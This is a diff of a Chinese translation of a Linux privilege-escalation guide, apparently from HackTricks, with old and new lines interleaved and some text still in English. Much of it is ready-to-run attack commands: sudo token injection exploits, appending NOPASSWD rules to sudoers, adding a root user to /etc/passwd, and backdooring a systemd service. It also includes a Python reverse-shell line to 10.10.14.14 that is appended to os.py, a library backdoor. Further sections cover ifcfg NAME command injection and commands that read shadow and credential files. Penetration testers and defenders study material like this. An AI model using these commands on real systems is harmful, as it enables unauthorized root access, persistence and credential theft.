`gdb` 可用(你可以上传它) -(你可以临时通过 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` 启用 ptrace_scope,或永久修改 `/etc/sysctl.d/10-ptrace.conf`,设置 `kernel.yama.ptrace_scope = 0`) +(你可以临时启用 `ptrace_scope`,方法是 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`,或永久修改 `/etc/sysctl.d/10-ptrace.conf` 并将 `kernel.yama.ptrace_scope = 0`) -如果满足所有这些条件,**你可以通过以下方式提升权限:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +如果满足所有这些要求,**你可以使用以下方法提升权限:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) 将在 _/tmp_ 创建二进制文件 `activate_sudo_token`。你可以使用它来**激活你会话中的 sudo 令牌**(你不会自动得到 root shell,执行 `sudo su`): +- 第一个 **exploit** (`exploit.sh`) 会在 _/tmp_ 创建名为 `activate_sudo_token` 的二进制。你可以使用它来**在你的会话中激活 sudo 令牌**(你不会自动获得 root shell,需要执行 `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- 这个 **第二个 exploit** (`exploit_v2.sh`) 将在 _/tmp_ 创建一个 sh shell,**由 root 拥有并带有 setuid** +- **第二个 exploit** (`exploit_v2.sh`) 会在 _/tmp_ 创建一个 sh shell,**归 root 所有并带有 setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **第三个 exploit** (`exploit_v3.sh`) 将 **创建 a sudoers file**,使 **sudo tokens 永久有效并允许所有用户使用 sudo** +- **第三 exploit** (`exploit_v3.sh`) 将 **创建 sudoers 文件**,从而使 **sudo 令牌永久有效并允许所有用户使用 sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -如果你在该文件夹或其中任何已创建的文件上拥有 **写权限**,你可以使用二进制文件 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 来 **为某个用户和 PID 创建 sudo token**。\ -例如,如果你能覆盖文件 _/var/run/sudo/ts/sampleuser_ 并且你以该用户身份拥有 PID 为 1234 的 shell,你可以在不需要知道密码的情况下通过以下方式 **获得 sudo privileges**: +如果你在该文件夹或该文件夹内任意已创建文件上拥有 **写权限**,你可以使用二进制文件 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 来 **为某个用户和 PID 创建 sudo token**。\ +例如,如果你可以覆盖文件 _/var/run/sudo/ts/sampleuser_,并且你以该用户的身份拥有 PID 1234 的 shell,你可以在不需要密码的情况下通过以下操作 **获得 sudo 权限**: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -文件 `/etc/sudoers` 以及 `/etc/sudoers.d` 下的文件配置谁可以使用 `sudo` 以及如何使用。 这些文件 **默认只能由用户 root 和组 root 读取**.\ - -**如果** 你能 **读取** 这个文件,可能会 **获得一些有趣的信息**,而如果你能 **写入** 任意文件,就能够 **escalate privileges**。 +文件 `/etc/sudoers` 以及 `/etc/sudoers.d` 中的文件配置谁可以使用 `sudo` 以及如何使用。 这些文件 **默认情况下仅可由用户 root 和组 root 读取**。\ +**如果**你可以**读取**该文件,你可能能够**获取一些有趣的信息**,并且如果你可以**写入**任何文件,你将能够**escalate privileges**。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -如果你可以写入,你就可以滥用此权限 +如果你有写权限,你就可以滥用此权限 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -滥用这些权限的另一种方法: +滥用这些权限的另一种方法: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1007,17 +1005,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -有一些 `sudo` 二进制的替代品,例如 OpenBSD 的 `doas`,请记得检查其配置位于 `/etc/doas.conf`。 +有一些替代 `sudo` 二进制的选项,例如 OpenBSD 的 `doas`,记得检查其配置位于 `/etc/doas.conf`。 ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -如果你知道某个用户通常连接到一台机器并使用 `sudo` 来提升权限,且你已经在该用户上下文获得了一个 shell,你可以 **创建一个新的 sudo 可执行文件**,该文件会以 root 身份先执行你的代码,然后再执行用户的命令。然后,**修改该用户上下文的 $PATH**(例如在 .bash_profile 中添加新路径),这样当用户执行 sudo 时,就会执行你的 sudo 可执行文件。 +如果你知道某个用户通常会连接到这台机器并使用 `sudo` 提权,并且你已在该用户上下文中取得一个 shell,你可以创建一个新的 sudo 可执行文件,该文件会以 root 身份先执行你的代码,然后再执行用户的命令。接着,修改该用户上下文的 $PATH(例如在 .bash_profile 中添加新路径),这样当用户执行 sudo 时,就会运行你的 sudo 可执行文件。 -注意,如果用户使用不同的 shell(不是 bash),你需要修改其他文件以添加新的路径。例如[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 修改了 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 找到另一个示例。 +注意,如果用户使用不同的 shell(非 bash),你需要修改其他文件来添加该路径。例如[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 修改了 `~/.bashrc`、`~/.zshrc`、`~/.bash_profile`。你也可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 中找到另一个示例。 -或者运行类似如下: +或者运行类似: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -通过将 lib 复制到 `/var/tmp/flag15/`,它将根据 `RPATH` 变量在此处被程序使用。 +将 lib 复制到 `/var/tmp/flag15/` 后,程序会在此处使用它,正如 `RPATH` 变量所指定的。 ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1083,8 +1080,9 @@ execve(file,argv,0); ``` ## 能力 -Linux capabilities 为进程提供可用 root 权限的一个**子集**。这实际上将 root 的**特权划分为更小且各自独立的单元**。这些单元可以独立地赋予给进程。这样可以减少完整权限集合,降低被利用的风险。\ -阅读以下页面以**了解更多关于 capabilities 以及如何滥用它们的信息**: +Linux capabilities 为进程提供了可用 root 权限的一个**子集**。这实际上将 root **权限拆分为更小且独立的单元**。这些单元可以被独立地授予给进程。通过这种方式,完整的权限集被缩减,从而降低被利用的风险。\ +阅读以下页面以**了解更多关于 capabilities 以及如何滥用它们**: + {{#ref}} linux-capabilities.md @@ -1092,32 +1090,32 @@ linux-capabilities.md ## 目录权限 -在目录中,表示 **"execute"** 的位意味着受影响的用户可以 **"cd"** 进入该文件夹。\ -**"read"** 位表示用户可以**列出**这些**files**,而 **"write"** 位表示用户可以**删除**和**创建**新的**files**。 +在目录中,**用于 "execute" 的位** 表示受影响的用户可以 **"cd"** 进入该文件夹。\ +**"read"** 位表示用户可以 **列出** **文件**,而 **"write"** 位表示用户可以 **删除** 和 **创建** 新 **文件**。 ## ACLs -Access Control Lists (ACLs) 表示自主权限的第二层,能够**覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝对特定(既非所有者也不属于该组)的用户的访问权来增强对文件或目录访问的控制。此级别的**粒度确保更精确的访问管理**。Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +访问控制列表 (ACLs) 代表了自主权限的第二层,能够**覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝非所有者或非组成员的特定用户的访问权来增强对文件或目录访问的控制。该级别的**细粒度确保更精确的访问管理**。更多详情可见 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)。 -**赋予** 用户 "kali" 对文件的读写权限: +给用户 "kali" 授予对文件的读写权限: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**获取** 系统中具有特定 ACL 的文件: +**获取** 系统中具有特定 ACLs 的文件: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Open shell sessions +## 打开 shell 会话 -在**旧版本**中,你可能可以**hijack**某个不同用户(**root**)的**shell**会话。\ -在**最新版本**中,你将只能**connect**到仅属于**your own user**的screen sessions。然而,你可能会在**session 内部发现有趣的信息**。 +在 **旧版本** 中,你可能能够 **hijack** 不同用户(**root**)的一些 **shell** 会话。\ +在 **最新版本** 中,你将只能 **connect** 到属于 **你自己的用户** 的 screen 会话。然而,你可能会在会话内部发现 **有趣的信息**。 ### screen sessions hijacking -**List screen sessions** +**列出 screen 会话** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1132,9 +1130,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -这是一个与 **旧版 tmux** 有关的问题。作为非特权用户,我无法 hijack 由 root 创建的 tmux (v2.1) session。 +这是一个出现在 **旧版 tmux** 的问题。作为非特权用户,我无法劫持由 root 创建的 tmux (v2.1) 会话。 -**列出 tmux sessions** +**列出 tmux 会话** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1142,7 +1140,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**连接到会话** +**附加到会话** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1152,53 +1150,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** 作为示例。 +查看 **Valentine box from HTB** 作为示例。 ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -2006年9月至2008年5月13日期间在基于 Debian 的系统(Ubuntu、Kubuntu 等)上生成的所有 SSL 和 SSH 密钥可能受到此漏洞影响。\ -这个漏洞在这些操作系统上创建新的 ssh 密钥时产生,原因是 **只有 32,768 种变体是可能的**。这意味着可以计算出所有可能性,**只要有 ssh 公钥就可以搜索对应的私钥**。你可以在这里找到已计算出的可能性: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +在 2006 年 9 月到 2008 年 5 月 13 日之间,在基于 Debian 的系统(Ubuntu、Kubuntu 等)上生成的所有 SSL 和 SSH 密钥都可能受此漏洞影响。\ +该漏洞在这些操作系统创建新 ssh 密钥时发生,原因是 **只有 32,768 种变体**。这意味着可以计算出所有可能性,并且 **拥有 ssh 公钥可以搜索到对应的私钥**。计算好的可能性可以在这里找到: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values - **PasswordAuthentication:** 指定是否允许密码认证。默认是 `no`。 - **PubkeyAuthentication:** 指定是否允许公钥认证。默认是 `yes`。 -- **PermitEmptyPasswords**:当允许密码认证时,指定服务器是否允许使用空密码字符串的账户登录。默认是 `no`。 +- **PermitEmptyPasswords**: 当允许密码认证时,指定服务器是否允许使用空密码字符串的账号登录。默认是 `no`。 ### PermitRootLogin -指定是否允许 root 使用 ssh 登录,默认是 `no`。可能的取值: +指定是否允许 root 使用 ssh 登录,默认是 `no`。可能值: -- `yes`:root 可使用密码和私钥登录 -- `without-password` or `prohibit-password`:root 只能使用私钥登录 -- `forced-commands-only`:root 仅能使用私钥登录,且仅在指定了命令选项时 -- `no`:不允许 +- `yes`: root 可以使用密码和私钥登录 +- `without-password` or `prohibit-password`: root 只能使用私钥登录 +- `forced-commands-only`: root 仅能使用私钥登录,且仅在指定了 commands 选项时 +- `no` : 不允许 ### AuthorizedKeysFile -指定包含可用于用户认证的公钥的文件。它可以包含像 `%h` 这样的标记,`%h` 会被替换为用户的主目录。**你可以指定绝对路径**(以 `/` 开头)或 **相对于用户主目录的相对路径**。例如: +指定包含可用于用户认证的公钥的文件。它可以包含像 `%h` 这样的占位符,会被替换为用户的 home 目录。**你可以指定绝对路径**(以 `/` 开头)或**从用户主目录开始的相对路径**。例如: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -该配置将表明,如果你尝试使用用户 "**testusername**" 的 **private** key 登录,ssh 会将你密钥的 public key 与位于 `/home/testusername/.ssh/authorized_keys` 和 `/home/testusername/access` 的那些进行比较。 +该配置会指示,如果你尝试使用用户 "**testusername**" 的 **私钥** 登录,ssh 将会把你的私钥对应的公钥与位于 `/home/testusername/.ssh/authorized_keys` 和 `/home/testusername/access` 的条目进行比较。 ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding 允许你 **use your local SSH keys instead of leaving keys** (without passphrases!) 存放在你的服务器上。因此,你可以通过 ssh **jump** **to a host**,然后从那里 **jump to another** host,**using** 位于你 **initial host** 上的 **key**。 +SSH agent forwarding 允许你 **使用本地 SSH 密钥,而不是将密钥留在**(没有口令短语!)你的服务器上。因此,你可以通过 ssh **跳转** **到一台主机**,然后从那里 **再跳转到另一台** 主机,**使用** 位于你**初始主机**的**密钥**。 -你需要在 `$HOME/.ssh.config` 中设置此选项,像下面这样: +你需要在 `$HOME/.ssh.config` 中设置此选项,如下: ``` Host example.com ForwardAgent yes ``` -注意,如果 `Host` 是 `*` 每次用户跳转到不同的机器时,该主机将能够访问密钥(这是一个安全问题)。 +请注意,如果 `Host` 为 `*`,用户每次跳转到不同主机时,该主机都能够访问密钥(这是一个安全问题)。 文件 `/etc/ssh_config` 可以 **覆盖** 这些 **选项** 并允许或拒绝此配置。\ -文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许** 或 **拒绝** ssh-agent 转发(默认是允许)。 +文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许**或拒绝 ssh-agent forwarding(默认允许)。 -如果你发现 Forward Agent 在某个环境中被配置,请阅读以下页面,因为 **你可能能够滥用它来提升权限**: +如果你发现 Forward Agent 在某个环境中被配置,请阅读以下页面,**因为你可能能够滥用它来提升权限**: {{#ref}} @@ -1207,69 +1205,71 @@ ssh-forward-agent-exploitation.md ## 有趣的文件 -### Profiles 文件 +### Profile 文件 -文件 `/etc/profile` 以及 `/etc/profile.d/` 下的文件是 **在用户启动新 shell 时执行的脚本**。因此,如果你能够 **写入或修改其中任何一个,你就可以提升权限**。 +文件 `/etc/profile` 以及 `/etc/profile.d/` 下的文件都是 **在用户启动新 shell 时执行的脚本**。因此,如果你能够 **写入或修改其中任意一个文件,就可以提升权限**。 ```bash ls -l /etc/profile /etc/profile.d/ ``` +如果发现任何异常的 profile 脚本,应检查其是否包含 **敏感信息**。 + ### Passwd/Shadow 文件 -根据操作系统,`/etc/passwd` 和 `/etc/shadow` 文件的名称可能不同,或者可能存在备份。因此建议 **查找所有这些文件** 并 **检查是否可以读取** 它们,以查看文件中是否包含 **hashes**: +根据操作系统,`/etc/passwd` 和 `/etc/shadow` 文件可能使用不同的名称,或可能有备份。因此建议 **找到它们全部** 并 **检查是否可读**,以查看 **文件中是否有哈希**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -在某些情况下,你可以在 `/etc/passwd`(或等效文件)中找到 **password hashes** +在某些情况下,你可能会在 `/etc/passwd`(或等效)文件中发现 **password hashes**。 ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### 可写的 /etc/passwd -首先,使用以下命令之一生成一个密码。 +首先,使用下面任一命令生成一个密码。 ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -然后添加用户 `hacker` 并添加生成的密码。 +然后添加用户 `hacker` 并设置生成的密码。 ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` 例如: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -现在你可以使用 `su` 命令和 `hacker:hacker` +你现在可以使用 `su` 命令,凭据为 `hacker:hacker` -或者,你可以使用以下行添加一个没有密码的假用户。\ -警告:这可能会降低该机器当前的安全性。 +或者,你可以使用以下行添加一个没有密码的虚拟用户。\ +警告:这可能会降低机器当前的安全性。 ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -注意:在 BSD 平台上 `/etc/passwd` 位于 `/etc/pwd.db` 和 `/etc/master.passwd`,且 `/etc/shadow` 被重命名为 `/etc/spwd.db`。 +注意:在 BSD 平台中 `/etc/passwd` 位于 `/etc/pwd.db` 和 `/etc/master.passwd`,而 `/etc/shadow` 则重命名为 `/etc/spwd.db`。 -你应该检查是否能够 **写入一些敏感文件**。例如,你能否写入某些 **服务配置文件**? +你应该检查是否可以 **写入某些敏感文件**。例如,你能否写入某些 **服务配置文件**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -例如,如果机器正在运行 **tomcat** 服务器并且你可以 **修改位于 /etc/systemd/ 的 Tomcat 服务配置文件,** 那么你可以修改以下行: +例如,如果机器正在运行 **tomcat** 服务器,并且你可以 **在 /etc/systemd/ 内修改 Tomcat 服务配置文件,** 那么你可以修改以下行: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -你的 backdoor 将在下次启动 tomcat 时被执行。 +你的 backdoor 将在 tomcat 下次启动时被执行。 -### Check Folders +### 检查文件夹 -以下文件夹可能包含备份或有趣的信息: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (最后一个你可能无法读取,但可以尝试) +以下目录可能包含备份或有趣的信息: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (你可能无法读取最后一个但可以尝试) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### 奇怪的位置/Owned files +### 异常位置/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1286,7 +1286,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### 最近几分钟内修改的文件 +### 最近几分钟修改的文件 ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1318,20 +1318,20 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### 已知包含密码的文件 +### 已知包含 passwords 的文件 -阅读 [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 的代码,它会搜索**可能包含密码的多个文件**。\ -**另一个有趣的工具**是:[**LaZagne**](https://github.com/AlessandroZ/LaZagne),它是一个开源应用程序,用于检索存储在本地计算机上的大量密码,适用于 Windows、Linux & Mac。 +阅读 [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 的代码,它会搜索 **可能包含 passwords 的多个文件**。\ +**另一个有趣的工具** 是: [**LaZagne**](https://github.com/AlessandroZ/LaZagne),这是一个开源应用,用于检索存储在本地计算机(Windows、Linux & Mac)上的大量 passwords。 ### 日志 -如果你能读取日志,可能会在其中找到**有趣/机密的信息**。日志越异常,越可能更有价值(大概)。\ -此外,一些**错误配置**(或被植入后门?)的**审计日志**可能允许你在审计日志中**记录密码**,正如这篇文章所解释的: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +如果你能读取日志,可能会在其中找到 **有趣/机密的信息**。日志越异常,可能越有价值(大概)。\ +另外,一些“bad”配置的(backdoored?)**audit logs** 可能允许你将 **passwords 记录** 到 audit logs 中,正如这篇文章所述: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -为了**读取日志,该组** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 会非常有帮助。 +为了 **读取日志**,组 [**adm**](interesting-groups-linux-pe/index.html#adm-group) 会非常有用。 ### Shell 文件 ```bash @@ -1346,41 +1346,41 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -你还应该检查文件名或文件内容中包含单词 "**password**" 的文件,并检查日志中是否包含 IPs 和 emails,或 hashes regexps.\ -我不会在这里列出如何执行所有这些检查,但如果你有兴趣可以查看 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) 执行的最后几项检查。 +你还应该检查文件是否在其 **name** 中或 **content** 内包含单词 "**password**",也要检查日志中是否包含 IPs 和 emails,或哈希的正则表达式。\ +我不会在这里列出如何执行所有这些,但如果你感兴趣,可以查看 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) 执行的最后几项检查。 -## Writable files +## 可写文件 ### Python library hijacking -如果你知道从 **where** 将执行 python 脚本,并且你 **can write inside** 该文件夹或者你可以 **modify python libraries**,你可以修改 OS 库 并向其植入后门(如果你可以在 python 脚本将被执行的位置写入,复制并粘贴 os.py 库)。 +如果你知道 python 脚本将从 **从何处** 被执行,并且你 **可以写入该文件夹** 或者可以 **修改 python libraries**,你就可以修改 os 库并 backdoor it(如果你可以写入 python 脚本将被执行的位置,就复制并粘贴 os.py 库)。 -要 **backdoor the library**,只需在 os.py library 的末尾添加以下行(更改 IP 和 PORT): +要 **backdoor the library**,只需在 os.py 库末尾添加以下行(更改 IP 和 PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Logrotate 利用 -`logrotate` 中的一个漏洞允许对日志文件或其父目录拥有 **写权限** 的用户可能获得提权。这是因为 `logrotate` 通常以 **root** 身份运行,可能被操纵去执行任意文件,特别是在像 _**/etc/bash_completion.d/**_ 这样的目录中。重要的是不仅要检查 _/var/log_ 中的权限,也要检查任何应用了日志轮转的目录的权限。 +A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. > [!TIP] -> 这个漏洞影响 `logrotate` 版本 `3.18.0` 及更早版本 +> 此漏洞影响 `logrotate` 版本 `3.18.0` 及更早版本 -关于该漏洞的更详细信息可见此页面: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。 +More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -你可以使用 [**logrotten**](https://github.com/whotwagner/logrotten) 来利用此漏洞。 +You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). -这个漏洞与 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** 非常相似,因此每当你发现可以修改日志时,检查谁在管理这些日志,并检查是否可以通过用 symlinks 替换日志来提升权限。 +This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**漏洞参考:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -如果无论出于何种原因,某个用户能够将一个 **写入** `ifcf-` 脚本到 _/etc/sysconfig/network-scripts_ **或** 能够 **调整** 一个已存在的脚本,那么你的 **system is pwned**。 +If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. -Network scripts,例如 _ifcg-eth0_,用于网络连接。它们看起来完全像 .INI 文件。然而,它们在 Linux 上被 Network Manager (dispatcher.d) ~sourced~。 +Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). -在我的案例中,这些 network scripts 中的 `NAME=` 属性没有被正确处理。如果名字中有 **空白/空格,系统会尝试执行空格之后的部分**。这意味着 **第一个空格之后的所有内容都会以 root 身份执行**。 +在我的案例中,`NAME=` 属性在这些网络脚本中没有被正确处理。如果名称中有 **空格/blank space,系统会尝试执行空格之后的部分**。这意味着 **第一个空格之后的所有内容都会以 root 身份执行**。 例如: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1388,15 +1388,15 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_注意 Network 和 /bin/id_ 之间的空格_) +(_注意 Network 和 /bin/id 之间的空格_) -### **init, init.d, systemd, 和 rc.d** +### **init, init.d, systemd, and rc.d** -目录 `/etc/init.d` 是 System V init (SysVinit) 的 **脚本** 存放处,属于 **经典的 Linux 服务管理系统**。它包含用于 `start`、`stop`、`restart`,有时也用于 `reload` 服务的脚本。这些脚本可以直接执行,也可以通过位于 `/etc/rc?.d/` 的符号链接来执行。在 Redhat 系统中的另一路径是 `/etc/rc.d/init.d`。 +目录 `/etc/init.d` 存放用于 System V init (SysVinit) 的 **scripts**,即 **经典 Linux 服务管理系统**。它包含用于 `start`、`stop`、`restart`,有时还包含 `reload` 服务的脚本。这些脚本可以直接执行,也可以通过位于 `/etc/rc?.d/` 的符号链接来调用。在 Redhat 系统中,替代路径为 `/etc/rc.d/init.d`。 -另一方面,`/etc/init` 与 **Upstart** 关联,Upstart 是由 Ubuntu 引入的较新的 **服务管理**,使用配置文件来管理服务任务。尽管向 Upstart 迁移,SysVinit 脚本仍会与 Upstart 配置一起使用,因为 Upstart 中存在兼容层。 +另一方面,`/etc/init` 与 **Upstart** 相关联,Upstart 是 Ubuntu 引入的较新 **service management**,使用配置文件来管理服务任务。尽管已有向 Upstart 的过渡,但由于 Upstart 中的兼容层,SysVinit 脚本仍然与 Upstart 配置一起被使用。 -**systemd** 作为现代的初始化和服务管理器出现,提供诸如按需启动守护进程、自动挂载管理和系统状态快照等高级功能。它将文件组织到 `/usr/lib/systemd/`(用于发行包)和 `/etc/systemd/system/`(用于管理员修改),从而简化系统管理流程。 +**systemd** 作为一种现代的初始化和服务管理器出现,提供了按需启动 daemon、automount 管理和系统状态快照等高级功能。它将文件组织在 `/usr/lib/systemd/`(用于发行版包)和 `/etc/systemd/system/`(供管理员修改)中,从而简化系统管理流程。 ## 其他技巧 @@ -1423,7 +1423,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks 常通过 hook 一个 syscall,将有特权的 kernel 功能暴露给 userspace manager。弱的 manager 认证(例如基于 FD-order 的签名检查或糟糕的密码方案)可能使本地 app 冒充 manager,并在已获取 root 的设备上进一步升级到 root。更多信息和利用细节见: +Android rooting frameworks 通常 hook 一个 syscall,将有特权的 kernel 功能暴露给 userspace manager。弱的 manager 认证(例如基于 FD-order 的签名校验或糟糕的密码方案)可能允许本地应用冒充 manager,从而在已 root 的设备上升级为 root。更多信息和利用细节请见: {{#ref}} @@ -1448,7 +1448,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** 枚举 Linux 和 MAC 的内核漏洞 [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux 